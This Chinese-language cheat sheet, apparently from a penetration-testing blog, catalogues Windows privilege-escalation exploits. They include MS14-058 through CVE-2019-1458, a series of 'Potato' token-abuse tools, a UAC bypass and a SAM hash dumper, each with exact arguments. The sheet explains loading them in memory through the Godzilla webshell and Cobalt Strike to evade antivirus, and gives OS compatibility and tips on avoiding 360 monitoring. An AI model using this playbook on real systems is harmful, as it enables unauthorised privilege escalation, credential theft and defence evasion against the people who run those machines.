Windows提权Exploit整理
这里整理了一些可用于内存加载执行的Windows常用提权exp,可使用哥斯拉的MemoryPE加载C/C++/Golang等利用工具,CobaltStrike的execute-assembly加载.NET利用工具。内存加载的好处包括绕过部分防护、无需考虑落地被杀等情况,同时省去了上传、删除等繁琐操作,提升渗透工作效率。
可用Exploit列表
- CLSID: GitHub链接
- accesschk: 用于扫描可读写目录的工具
- Exploit: accesschk.exe
- Arguments: /accepteula -uwds users C:\* -nobanner
- hashdump: 从SAM获取Hash,需Users读权限
- Exploit: hashdump.exe
- Arguments: --samdump
- MS14-058:
- Exploit: MS14-058_x64.exe
- Arguments: calc
- MS15-015:
- Exploit: MS15-015_x64.exe
- Arguments: calc
- MS15-051:
- Exploit: MS15-051_x64.exe
- Arguments: calc
- MS16-032:
- Exploit: MS16-032_x64.exe
- Arguments: calc
- CVE-2018-8120: 执行多次可能会蓝屏重启
- Exploit: CVE-2018-8120.exe
- Arguments: calc
- CVE-2018-8639:
- Exploit: CVE-2018-8639.exe
- Arguments: calc
- CVE-2019-1458: 执行多次可能会蓝屏关机
- Exploit: CVE-2019-1458.exe
- Arguments: calc
- PetitPotato:
- Exploit: PetitPotato.exe
- Arguments: 3 calc
- JuicyPotatoNG:
- Exploit: JuicyPotatoNG.exe
- Arguments: -t * -l 1337 -c {854A20FB-2D44-457D-992F-EF13785D2B51} -p c:\windows\system32\calc.exe
- CoercedPotato:
- Exploit: CoercedPotato.exe
- Arguments: -c notepad.exe
- EfsPotato: 使用pipe:sarpc、efsrpc、samr、lsass、netlogon
- Exploit: EfsPotato.exe
- Arguments: whoami lsarpc
- BadPotato:
- Exploit: BadPotato.exe
- Arguments: whoami
- GodPotato:
- Exploit: GodPotato.exe
- Arguments: -cmd "cmd /c whoami"
- SweetPotato:
- Exploit: SweetPotato.exe
- Arguments: -c e60687f7-01a1-40aa-86ac-db1cbf673334 -a whoami
- RottenPotato:
- Exploit: RottenPotato.exe
- Arguments: "c:\windows\system32\cmd.exe" "/c whoami"
- PrintNotifyPotato:
- Exploit: PrintNotifyPotato.exe
- Arguments: whoami
- SigmaPotatoCore:
- Exploit: SigmaPotatoCore.exe
- Arguments: whoami
- SharpBypassUAC: 使用eventvwr、fodhelper、computerdefaults、sdclt、slui、DiskCleanup
- Exploit: SharpBypassUAC.exe
- Arguments: -b fodhelper -e Y21kIC9jIGNhbGM=
系统兼容性
以下是不同Exploit与系统的兼容性列表:
| Exploit | Memory | System |
|---|
| MS14-058 | MemoryPE | Win2K3/8 |
| MS15-015 | MemoryPE | Win2K8/12 |
| MS15-051 | MemoryPE | Win2K3/8 |
| MS16-032 | MemoryPE | Win2K3/8/12 |
| CVE-2018-8120 | MemoryPE | Win2K3/8 |
| CVE-2018-8639 | MemoryPE | Win2K8 |
| CVE-2019-1458 | MemoryPE | Win2K8/12 |
| PetitPotato | MemoryPE | Win2K12 |
| JuicyPotatoNG | MemoryPE | Win10/2K12/16 |
| CoercedPotato | MemoryPE | Win10 |
| EfsPotato | ExecuteAssembly | Win2K12 |
| BadPotato | ExecuteAssembly | Win10/2K12 |
| GodPotato | ExecuteAssembly | Win10 |
| SweetPotato | ExecuteAssembly | Win10/2K8/12 |
| RottenPotato | ExecuteAssembly | Win2K8/12/16 |
| PrintNotifyPotato | ExecuteAssembly | Win10/2K12/16 |
| SigmaPotatoCore | ExecuteAssembly | Win10 |
| SharpBypassUAC | ExecuteAssembly | Win10 |
| CLSID | ExecuteAssembly | Win10 |
注意事项
- 哥斯拉的内存加载是通过rundll32.exe执行的,可能会被360等进程链监控防护拦截。
C:\WINDOWS\Microsoft.NET\Framework64\v4.0.30319\csc.exe
C:\WINDOWS\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
- 使用x86还是x64的exp取决于IIS应用程序池w3wp.exe的进程位数,而非系统位数。
- 2008及以后版本的操作系统使用内存加载取决于父进程的位数,如iis的w3wp.exe,落地能兼容x86。
- 由于现在大多数操作系统都是2008及以后版本,并且都是x64的,这里只整理了x64的exp。
- 有部分exp在执行后可能会出现蓝屏重启或者关机的情况,实战中需谨慎使用。